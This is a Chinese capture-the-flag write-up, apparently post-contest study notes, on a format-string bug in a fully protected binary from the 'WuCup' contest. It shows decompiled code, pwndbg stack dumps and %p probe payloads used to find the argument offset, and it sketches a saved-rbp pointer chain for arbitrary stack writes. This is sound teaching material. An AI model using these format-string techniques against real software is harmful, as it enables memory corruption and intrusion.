CTF-PWN: 全保護下格式化字符串利用 [第一屆“吾杯”網絡安全技能大賽如果能重來] 賽后學習(不會)

通過網盤分享的文件：如果能重來.zip
鏈接: https://pan.baidu.com/s/1XKIJx32nWVcSpKiWFQGpYA?pwd=1111 提取碼: 1111 
--來自百度網盤超級會員v2的分享

漏洞分析

格式化字符串漏洞,在printf(format);

__int64 sub_13D7()
{char format[56]; // [rsp+10h] [rbp-40h] BYREFunsigned __int64 v2; // [rsp+48h] [rbp-8h]v2 = __readfsqword(0x28u);printf("Please input your name: ");if ( (int)sub_1247(format, 55LL) > 0 ){if ( dword_404C ){printf(format);--dword_404C;puts("There will be a gift for you here . . .");}else{puts("0.o? ");}return 0LL;}else{puts("Error reading name.");return 0xFFFFFFFFLL;}
}

確定參數偏移

? gdb pwn
GNU gdb (Ubuntu 12.1-0ubuntu1~22.04.2) 12.1
Copyright (C) 2022 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:<http://www.gnu.org/software/gdb/documentation/>.For help, type "help".
Type "apropos word" to search for commands related to "word"...
startpwndbg: loaded 165 pwndbg commands and 46 shell commands. Type pwndbg [--shell | --all] [filter] for a list.
pwndbg: created $rebase, $base, $bn_sym, $bn_var, $bn_eval, $ida GDB functions (can be used with print/break)
Reading symbols from pwn...
(No debugging symbols found in pwn)
------- tip of the day (disable with set show-tips off) -------
If you want Pwndbg to clear screen on each command (but still save previous output in history) use set context-clear-screen on
pwndbg> start
Temporary breakpoint 1 at 0x5555555550e0Temporary breakpoint 1, 0x00005555555550e0 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
───────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────────────────RAX  0x1cRBX  0RCX  0x7fffffffc478 —? 0x7fffffffc82b ?— 'SYSTEMD_EXEC_PID=1816'RDX  0x7ffff7fe0d60 ?— endbr64 RDI  0x7ffff7ffe190 —? 0x555555554000 ?— 0x10102464c457fRSI  0x7ffff7ffe730 ?— 0R8   0R9   2R10  0xfR11  0R12  0x5555555550e0 ?— endbr64 R13  0x7fffffffc460 ?— 1R14  0R15  0RBP  0RSP  0x7fffffffc460 ?— 1RIP  0x5555555550e0 ?— endbr64 
────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────────────────? 0x5555555550e0    endbr64 0x5555555550e4    xor    ebp, ebp                    EBP => 00x5555555550e6    mov    r9, rdx                     R9 => 0x7ffff7fe0d60 ?— endbr64 0x5555555550e9    pop    rsi                         RSI => 10x5555555550ea    mov    rdx, rsp                    RDX => 0x7fffffffc468 —? 0x7fffffffc80b ?— '/home/a5rz/Desktop/pwn/file/pwn'0x5555555550ed    and    rsp, 0xfffffffffffffff0     RSP => 0x7fffffffc460 (0x7fffffffc468 & -0x10)0x5555555550f1    push   rax0x5555555550f2    push   rsp0x5555555550f3    lea    r8, [rip + 0x426]           R8 => 0x555555555520 ?— endbr64 0x5555555550fa    lea    rcx, [rip + 0x3af]          RCX => 0x5555555554b0 ?— endbr64 0x555555555101    lea    rdi, [rip + 0x385]          RDI => 0x55555555548d ?— endbr64 
─────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────
00:0000│ r13 rsp 0x7fffffffc460 ?— 1
01:0008│         0x7fffffffc468 —? 0x7fffffffc80b ?— '/home/a5rz/Desktop/pwn/file/pwn'
02:0010│         0x7fffffffc470 ?— 0
03:0018│ rcx     0x7fffffffc478 —? 0x7fffffffc82b ?— 'SYSTEMD_EXEC_PID=1816'
04:0020│         0x7fffffffc480 —? 0x7fffffffc841 ?— 'SSH_AUTH_SOCK=/run/user/1000/keyring/ssh'
05:0028│         0x7fffffffc488 —? 0x7fffffffc86a ?— 'SESSION_MANAGER=local/ubuntu:@/tmp/.ICE-unix/1816,unix/ubuntu:/tmp/.ICE-unix/1816'
06:0030│         0x7fffffffc490 —? 0x7fffffffc8bc ?— 'PAPERSIZE=a4'
07:0038│         0x7fffffffc498 —? 0x7fffffffc8c9 ?— 'GNOME_TERMINAL_SCREEN=/org/gnome/Terminal/screen/aab6f309_847c_4363_b37f_36574de33f67'
───────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────? 0   0x5555555550e01              0x12   0x7fffffffc80b3              0x0
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> b *$rebase(0x1444)
Breakpoint 2 at 0x555555555401
pwndbg> run
Starting program: /home/a5rz/Desktop/pwn/file/pwn

Please input your name: aaaaaaaa%p%p%p%p%p%p%p%p%p%p%p%pBreakpoint 2, 0x0000555555555444 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
───────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────────────────RAX  0RBX  0x5555555554b0 ?— endbr64 RCX  0RDX  1RDI  0x7fffffffc2e0 ?— 'aaaaaaaa%p%p%p%p%p%p%p%p%p%p%p%pSomething strange here'RSI  0x7fffffffc2af ?— 0x1000000200a /* '\n ' */R8   0x18R9   0x18R10  0x555555556008 ?— 'Please input your name: 'R11  0x246R12  0x5555555550e0 ?— endbr64 R13  0x7fffffffc460 ?— 1R14  0R15  0RBP  0x7fffffffc320 —? 0x7fffffffc360 —? 0x7fffffffc370 ?— 0RSP  0x7fffffffc2d0 ?— 0RIP  0x555555555444 ?— call 0x5555555550b0
────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────────────────? 0x555555555444    call   printf@plt                  <printf@plt>format: 0x7fffffffc2e0 ?— 'aaaaaaaa%p%p%p%p%p%p%p%p%p%p%p%pSomething strange here'vararg: 0x7fffffffc2af ?— 0x1000000200a /* '\n ' */0x555555555449    mov    eax, dword ptr [rip + 0x2bfd]     EAX, [0x55555555804c]0x55555555544f    sub    eax, 10x555555555452    mov    dword ptr [rip + 0x2bf4], eax0x555555555458    lea    rdi, [rip + 0xbd9]                RDI => 0x555555556038 ?— 'There will be a gift for you here . . .'0x55555555545f    call   puts@plt                    <puts@plt>0x555555555464    jmp    0x555555555472              <0x555555555472>↓0x555555555472    mov    eax, 0                       EAX => 00x555555555477    mov    rdx, qword ptr [rbp - 8]0x55555555547b    xor    rdx, qword ptr fs:[0x28]0x555555555484    je     0x55555555548b              <0x55555555548b>
─────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffc2d0 ?— 0
01:0008│-048 0x7fffffffc2d8 ?— 0xf7fc37d0f7fc25c0
02:0010│ rdi 0x7fffffffc2e0 ?— 'aaaaaaaa%p%p%p%p%p%p%p%p%p%p%p%pSomething strange here'
03:0018│-038 0x7fffffffc2e8 ?— '%p%p%p%p%p%p%p%p%p%p%p%pSomething strange here'
... ↓        2 skipped
06:0030│-020 0x7fffffffc300 ?— 'Something strange here'
07:0038│-018 0x7fffffffc308 ?— 'g strange here'
───────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────? 0   0x5555555554441   0x5555555553bc2   0x5555555554a93   0x7ffff7df9083 __libc_start_main+2434   0x55555555510e
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> stack 90
00:0000│ rsp 0x7fffffffc2d0 ?— 0
01:0008│-048 0x7fffffffc2d8 ?— 0xf7fc37d0f7fc25c0
02:0010│ rdi 0x7fffffffc2e0 ?— 'aaaaaaaa%p%p%p%p%p%p%p%p%p%p%p%pSomething strange here'
03:0018│-038 0x7fffffffc2e8 ?— '%p%p%p%p%p%p%p%p%p%p%p%pSomething strange here'
... ↓        2 skipped
06:0030│-020 0x7fffffffc300 ?— 'Something strange here'
07:0038│-018 0x7fffffffc308 ?— 'g strange here'
08:0040│-010 0x7fffffffc310 ?— 0x657265682065 /* 'e here' */
09:0048│-008 0x7fffffffc318 ?— 0x4d8fe1de9078d800
0a:0050│ rbp 0x7fffffffc320 —? 0x7fffffffc360 —? 0x7fffffffc370 ?— 0
0b:0058│+008 0x7fffffffc328 —? 0x5555555553bc ?— mov eax, 0
0c:0060│+010 0x7fffffffc330 ?— 'welcome to WuCup !'
0d:0068│+018 0x7fffffffc338 ?— 'to WuCup !'
0e:0070│+020 0x7fffffffc340 ?— 0x555555002120 /* ' !' */
0f:0078│+028 0x7fffffffc348 —? 0x7fffffffc460 ?— 1
10:0080│+030 0x7fffffffc350 ?— 0
11:0088│+038 0x7fffffffc358 ?— 0x4d8fe1de9078d800
12:0090│+040 0x7fffffffc360 —? 0x7fffffffc370 ?— 0
13:0098│+048 0x7fffffffc368 —? 0x5555555554a9 ?— mov eax, 0
14:00a0│+050 0x7fffffffc370 ?— 0
15:00a8│+058 0x7fffffffc378 —? 0x7ffff7df9083 (__libc_start_main+243) ?— mov edi, eax
16:00b0│+060 0x7fffffffc380 —? 0x7ffff7ffc620 (_rtld_global_ro) ?— 0x50fa700000000
17:00b8│+068 0x7fffffffc388 —? 0x7fffffffc468 —? 0x7fffffffc80b ?— '/home/a5rz/Desktop/pwn/file/pwn'
18:00c0│+070 0x7fffffffc390 ?— 0x100000000
19:00c8│+078 0x7fffffffc398 —? 0x55555555548d ?— endbr64 
1a:00d0│+080 0x7fffffffc3a0 —? 0x5555555554b0 ?— endbr64 
1b:00d8│+088 0x7fffffffc3a8 ?— 0xb19ed39ac14d0a56
1c:00e0│+090 0x7fffffffc3b0 —? 0x5555555550e0 ?— endbr64 
1d:00e8│+098 0x7fffffffc3b8 —? 0x7fffffffc460 ?— 1
1e:00f0│+0a0 0x7fffffffc3c0 ?— 0
1f:00f8│+0a8 0x7fffffffc3c8 ?— 0
20:0100│+0b0 0x7fffffffc3d0 ?— 0x4e612c65464d0a56 ('V\nMFe,aN')
21:0108│+0b8 0x7fffffffc3d8 ?— 0x4e613c25e1230a56
22:0110│+0c0 0x7fffffffc3e0 ?— 0
... ↓        2 skipped
25:0128│+0d8 0x7fffffffc3f8 ?— 1
26:0130│+0e0 0x7fffffffc400 —? 0x7fffffffc468 —? 0x7fffffffc80b ?— '/home/a5rz/Desktop/pwn/file/pwn'
27:0138│+0e8 0x7fffffffc408 —? 0x7fffffffc478 —? 0x7fffffffc82b ?— 'SYSTEMD_EXEC_PID=1816'
28:0140│+0f0 0x7fffffffc410 —? 0x7ffff7ffe190 —? 0x555555554000 ?— 0x10102464c457f
29:0148│+0f8 0x7fffffffc418 ?— 0
2a:0150│+100 0x7fffffffc420 ?— 0
2b:0158│+108 0x7fffffffc428 —? 0x5555555550e0 ?— endbr64 
2c:0160│+110 0x7fffffffc430 —? 0x7fffffffc460 ?— 1
2d:0168│+118 0x7fffffffc438 ?— 0
2e:0170│+120 0x7fffffffc440 ?— 0
2f:0178│+128 0x7fffffffc448 —? 0x55555555510e ?— hlt 
30:0180│+130 0x7fffffffc450 —? 0x7fffffffc458 ?— 0x1c
31:0188│+138 0x7fffffffc458 ?— 0x1c
32:0190│ r13 0x7fffffffc460 ?— 1
33:0198│+148 0x7fffffffc468 —? 0x7fffffffc80b ?— '/home/a5rz/Desktop/pwn/file/pwn'
34:01a0│+150 0x7fffffffc470 ?— 0
35:01a8│+158 0x7fffffffc478 —? 0x7fffffffc82b ?— 'SYSTEMD_EXEC_PID=1816'
36:01b0│+160 0x7fffffffc480 —? 0x7fffffffc841 ?— 'SSH_AUTH_SOCK=/run/user/1000/keyring/ssh'
37:01b8│+168 0x7fffffffc488 —? 0x7fffffffc86a ?— 'SESSION_MANAGER=local/ubuntu:@/tmp/.ICE-unix/1816,unix/ubuntu:/tmp/.ICE-unix/1816'
38:01c0│+170 0x7fffffffc490 —? 0x7fffffffc8bc ?— 'PAPERSIZE=a4'
39:01c8│+178 0x7fffffffc498 —? 0x7fffffffc8c9 ?— 'GNOME_TERMINAL_SCREEN=/org/gnome/Terminal/screen/aab6f309_847c_4363_b37f_36574de33f67'
3a:01d0│+180 0x7fffffffc4a0 —? 0x7fffffffc91f ?— 'LANGUAGE=zh_CN:en_GB:en'
3b:01d8│+188 0x7fffffffc4a8 —? 0x7fffffffc937 ?— 'LANG=zh_CN.UTF-8'
3c:01e0│+190 0x7fffffffc4b0 —? 0x7fffffffc948 ?— 'WAYLAND_DISPLAY=wayland-0'
3d:01e8│+198 0x7fffffffc4b8 —? 0x7fffffffc962 ?— 'LC_IDENTIFICATION=zh_CN.UTF-8'
3e:01f0│+1a0 0x7fffffffc4c0 —? 0x7fffffffc980 ?— 'XDG_SESSION_CLASS=user'
3f:01f8│+1a8 0x7fffffffc4c8 —? 0x7fffffffc997 ?— 'XDG_CURRENT_DESKTOP=ubuntu:GNOME'
40:0200│+1b0 0x7fffffffc4d0 —? 0x7fffffffc9b8 ?— 'PWD=/home/a5rz/Desktop/pwn/file'
41:0208│+1b8 0x7fffffffc4d8 —? 0x7fffffffc9d8 ?— 'QT_IM_MODULE=ibus'
42:0210│+1c0 0x7fffffffc4e0 —? 0x7fffffffc9ea ?— 'USER=a5rz'
43:0218│+1c8 0x7fffffffc4e8 —? 0x7fffffffc9f4 ?— 'DESKTOP_SESSION=ubuntu'
44:0220│+1d0 0x7fffffffc4f0 —? 0x7fffffffca0b ?— 'XDG_MENU_PREFIX=gnome-'
45:0228│+1d8 0x7fffffffc4f8 —? 0x7fffffffca22 ?— 'OLDPWD=/home/a5rz/Desktop/pwn/file'
46:0230│+1e0 0x7fffffffc500 —? 0x7fffffffca45 ?— 'LC_MEASUREMENT=zh_CN.UTF-8'
47:0238│+1e8 0x7fffffffc508 —? 0x7fffffffca60 ?— 'DBUS_SESSION_BUS_ADDRESS=unix:path=/run/user/1000/bus,guid=648017a497f89697dfa1bf47674d827a'
48:0240│+1f0 0x7fffffffc510 —? 0x7fffffffcabc ?— 'LC_NUMERIC=zh_CN.UTF-8'
49:0248│+1f8 0x7fffffffc518 —? 0x7fffffffcad3 ?— 'SSH_AGENT_LAUNCHER=gnome-keyring'
4a:0250│+200 0x7fffffffc520 —? 0x7fffffffcaf4 ?— '_=/home/a5rz/Desktop/pwn/file/pwn'
4b:0258│+208 0x7fffffffc528 —? 0x7fffffffcb16 ?— 'GTK_MODULES=gail:atk-bridge'
4c:0260│+210 0x7fffffffc530 —? 0x7fffffffcb32 ?— 'VTE_VERSION=6800'
4d:0268│+218 0x7fffffffc538 —? 0x7fffffffcb43 ?— 'XDG_SESSION_DESKTOP=ubuntu'
4e:0270│+220 0x7fffffffc540 —? 0x7fffffffcb5e ?— 'QT_ACCESSIBILITY=1'
4f:0278│+228 0x7fffffffc548 —? 0x7fffffffcb71 ?— 'GNOME_DESKTOP_SESSION_ID=this-is-deprecated'
50:0280│+230 0x7fffffffc550 —? 0x7fffffffcb9d ?— 'GNOME_SETUP_DISPLAY=:1'
51:0288│+238 0x7fffffffc558 —? 0x7fffffffcbb4 ?— 'LC_TIME=zh_CN.UTF-8'
52:0290│+240 0x7fffffffc560 —? 0x7fffffffcbc8 ?— 'LOGNAME=a5rz'
53:0298│+248 0x7fffffffc568 —? 0x7fffffffcbd5 ?— 'GNOME_TERMINAL_SERVICE=:1.112'
54:02a0│+250 0x7fffffffc570 —? 0x7fffffffcbf3 ?— 'LC_PAPER=zh_CN.UTF-8'
55:02a8│+258 0x7fffffffc578 —? 0x7fffffffcc08 ?— 'HOME=/home/a5rz'
56:02b0│+260 0x7fffffffc580 —? 0x7fffffffcc18 ?— 'GNOME_SHELL_SESSION_MODE=ubuntu'
57:02b8│+268 0x7fffffffc588 —? 0x7fffffffcc38 ?— 'XDG_DATA_DIRS=/usr/local/share/:/usr/share/:/var/lib/snapd/desktop'
58:02c0│+270 0x7fffffffc590 —? 0x7fffffffcc7b ?— 'XMODIFIERS=@im=ibus'
59:02c8│+278 0x7fffffffc598 —? 0x7fffffffcc8f ?— 'XDG_RUNTIME_DIR=/run/user/1000'

pwndbg> ni
aaaaaaaa0x7fffffffc2af0x1(nil)0x180x18(nil)0xf7fc37d0f7fc25c00x61616161616161610x70257025702570250x70257025702570250x70257025702570250x6e696874656d6f53Something

aaaaaaaa
0x7fffffffc2af
0x1
(nil)
0x18
0x18
(nil)
0xf7fc37d0f7fc25c0
0x6161616161616161
0x70257025702570250x70257025702570250x70257025702570250x6e696874656d6f53Something

得知偏移量為8,驗證

pwndbg> run
Starting program: /home/a5rz/Desktop/pwn/file/pwn 
Please input your name: aaaaaaaa%8$pBreakpoint 2, 0x0000555555555444 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
───────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────────────────RAX  0RBX  0x5555555554b0 ?— endbr64 RCX  0RDX  1RDI  0x7fffffffc2e0 ?— 0x6161616161616161 ('aaaaaaaa')RSI  0x7fffffffc2af ?— 0x10000000c0a /* '\n\x0c' */R8   0x18R9   0x18R10  0x555555556008 ?— 'Please input your name: 'R11  0x246R12  0x5555555550e0 ?— endbr64 R13  0x7fffffffc460 ?— 1R14  0R15  0RBP  0x7fffffffc320 —? 0x7fffffffc360 —? 0x7fffffffc370 ?— 0RSP  0x7fffffffc2d0 ?— 0RIP  0x555555555444 ?— call 0x5555555550b0
────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────────────────? 0x555555555444    call   printf@plt                  <printf@plt>format: 0x7fffffffc2e0 ?— 0x6161616161616161 ('aaaaaaaa')vararg: 0x7fffffffc2af ?— 0x10000000c0a /* '\n\x0c' */0x555555555449    mov    eax, dword ptr [rip + 0x2bfd]     EAX, [0x55555555804c]0x55555555544f    sub    eax, 10x555555555452    mov    dword ptr [rip + 0x2bf4], eax0x555555555458    lea    rdi, [rip + 0xbd9]                RDI => 0x555555556038 ?— 'There will be a gift for you here . . .'0x55555555545f    call   puts@plt                    <puts@plt>0x555555555464    jmp    0x555555555472              <0x555555555472>↓0x555555555472    mov    eax, 0                       EAX => 00x555555555477    mov    rdx, qword ptr [rbp - 8]0x55555555547b    xor    rdx, qword ptr fs:[0x28]0x555555555484    je     0x55555555548b              <0x55555555548b>
─────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffc2d0 ?— 0
01:0008│-048 0x7fffffffc2d8 ?— 0xf7fc37d0f7fc25c0
02:0010│ rdi 0x7fffffffc2e0 ?— 0x6161616161616161 ('aaaaaaaa')
03:0018│-038 0x7fffffffc2e8 ?— 0x7fff70243825
04:0020│-030 0x7fffffffc2f0 ?— 0
05:0028│-028 0x7fffffffc2f8 —? 0x7fffffffc300 ?— 'Something strange here'
06:0030│-020 0x7fffffffc300 ?— 'Something strange here'
07:0038│-018 0x7fffffffc308 ?— 'g strange here'
───────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────? 0   0x5555555554441   0x5555555553bc2   0x5555555554a93   0x7ffff7df9083 __libc_start_main+2434   0x55555555510e
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> c
Continuing.
aaaaaaaa0x6161616161616161�There will be a gift for you here . . .
[Inferior 1 (process 3806) exited normally]

ebp總是指向上一個ebp,我們可以使用這個特性用第一個ebp改寫第二個ebp,再用第二個ebp作為跳板更改棧上任意地址?

pwndbg> stack 60
00:0000│ rsp 0x7fffffffc2d0 ?— 0
01:0008│-048 0x7fffffffc2d8 ?— 0xf7fc37d0f7fc25c0
02:0010│ rdi 0x7fffffffc2e0 ?— 0x30 /* '0' */
03:0018│-038 0x7fffffffc2e8 —? 0x7ffff7e67525 ?— cmp eax, -1
04:0020│-030 0x7fffffffc2f0 ?— 0
05:0028│-028 0x7fffffffc2f8 —? 0x7fffffffc300 ?— 'Something strange here'
06:0030│-020 0x7fffffffc300 ?— 'Something strange here'
07:0038│-018 0x7fffffffc308 ?— 'g strange here'
08:0040│-010 0x7fffffffc310 ?— 0x657265682065 /* 'e here' */
09:0048│-008 0x7fffffffc318 ?— 0x1fdd857982303200
0a:0050│ rbp 0x7fffffffc320 —? 0x7fffffffc360 —? 0x7fffffffc370 ?— 0
0b:0058│+008 0x7fffffffc328 —? 0x5555555553bc ?— mov eax, 0
0c:0060│+010 0x7fffffffc330 ?— 'welcome to WuCup !'
0d:0068│+018 0x7fffffffc338 ?— 'to WuCup !'
0e:0070│+020 0x7fffffffc340 ?— 0x555555002120 /* ' !' */
0f:0078│+028 0x7fffffffc348 —? 0x7fffffffc460 ?— 1
10:0080│+030 0x7fffffffc350 ?— 0
11:0088│+038 0x7fffffffc358 ?— 0x1fdd857982303200
12:0090│+040 0x7fffffffc360 —? 0x7fffffffc370 ?— 0
13:0098│+048 0x7fffffffc368 —? 0x5555555554a9 ?— mov eax, 0
14:00a0│+050 0x7fffffffc370 ?— 0
15:00a8│+058 0x7fffffffc378 —? 0x7ffff7df9083 (__libc_start_main+243) ?— mov edi, eax
16:00b0│+060 0x7fffffffc380 —? 0x7ffff7ffc620 (_rtld_global_ro) ?— 0x50fa700000000
17:00b8│+068 0x7fffffffc388 —? 0x7fffffffc468 —? 0x7fffffffc80b ?— '/home/a5rz/Desktop/pwn/file/pwn'
18:00c0│+070 0x7fffffffc390 ?— 0x100000000
19:00c8│+078 0x7fffffffc398 —? 0x55555555548d ?— endbr64 
1a:00d0│+080 0x7fffffffc3a0 —? 0x5555555554b0 ?— endbr64 
1b:00d8│+088 0x7fffffffc3a8 ?— 0x3d68c2224b0eb8ed
1c:00e0│+090 0x7fffffffc3b0 —? 0x5555555550e0 ?— endbr64 
1d:00e8│+098 0x7fffffffc3b8 —? 0x7fffffffc460 ?— 1
1e:00f0│+0a0 0x7fffffffc3c0 ?— 0
1f:00f8│+0a8 0x7fffffffc3c8 ?— 0
20:0100│+0b0 0x7fffffffc3d0 ?— 0xc2973dddcc0eb8ed
21:0108│+0b8 0x7fffffffc3d8 ?— 0xc2972d9d6b60b8ed
22:0110│+0c0 0x7fffffffc3e0 ?— 0
... ↓        2 skipped
25:0128│+0d8 0x7fffffffc3f8 ?— 1
26:0130│+0e0 0x7fffffffc400 —? 0x7fffffffc468 —? 0x7fffffffc80b ?— '/home/a5rz/Desktop/pwn/file/pwn'
27:0138│+0e8 0x7fffffffc408 —? 0x7fffffffc478 —? 0x7fffffffc82b ?— 'SYSTEMD_EXEC_PID=1816'
28:0140│+0f0 0x7fffffffc410 —? 0x7ffff7ffe190 —? 0x555555554000 ?— 0x10102464c457f
29:0148│+0f8 0x7fffffffc418 ?— 0
2a:0150│+100 0x7fffffffc420 ?— 0
2b:0158│+108 0x7fffffffc428 —? 0x5555555550e0 ?— endbr64 
2c:0160│+110 0x7fffffffc430 —? 0x7fffffffc460 ?— 1
2d:0168│+118 0x7fffffffc438 ?— 0
2e:0170│+120 0x7fffffffc440 ?— 0
2f:0178│+128 0x7fffffffc448 —? 0x55555555510e ?— hlt 
30:0180│+130 0x7fffffffc450 —? 0x7fffffffc458 ?— 0x1c
31:0188│+138 0x7fffffffc458 ?— 0x1c
32:0190│ r13 0x7fffffffc460 ?— 1
33:0198│+148 0x7fffffffc468 —? 0x7fffffffc80b ?— '/home/a5rz/Desktop/pwn/file/pwn'
34:01a0│+150 0x7fffffffc470 ?— 0
35:01a8│+158 0x7fffffffc478 —? 0x7fffffffc82b ?— 'SYSTEMD_EXEC_PID=1816'
36:01b0│+160 0x7fffffffc480 —? 0x7fffffffc841 ?— 'SSH_AUTH_SOCK=/run/user/1000/keyring/ssh'
37:01b8│+168 0x7fffffffc488 —? 0x7fffffffc86a ?— 'SESSION_MANAGER=local/ubuntu:@/tmp/.ICE-unix/1816,unix/ubuntu:/tmp/.ICE-unix/1816'
38:01c0│+170 0x7fffffffc490 —? 0x7fffffffc8bc ?— 'PAPERSIZE=a4'
39:01c8│+178 0x7fffffffc498 —? 0x7fffffffc8c9 ?— 'GNOME_TERMINAL_SCREEN=/org/gnome/Terminal/screen/aab6f309_847c_4363_b37f_36574de33f67'
3a:01d0│+180 0x7fffffffc4a0 —? 0x7fffffffc91f ?— 'LANGUAGE=zh_CN:en_GB:en'
3b:01d8│+188 0x7fffffffc4a8 —? 0x7fffffffc937 ?— 'LANG=zh_CN.UTF-8'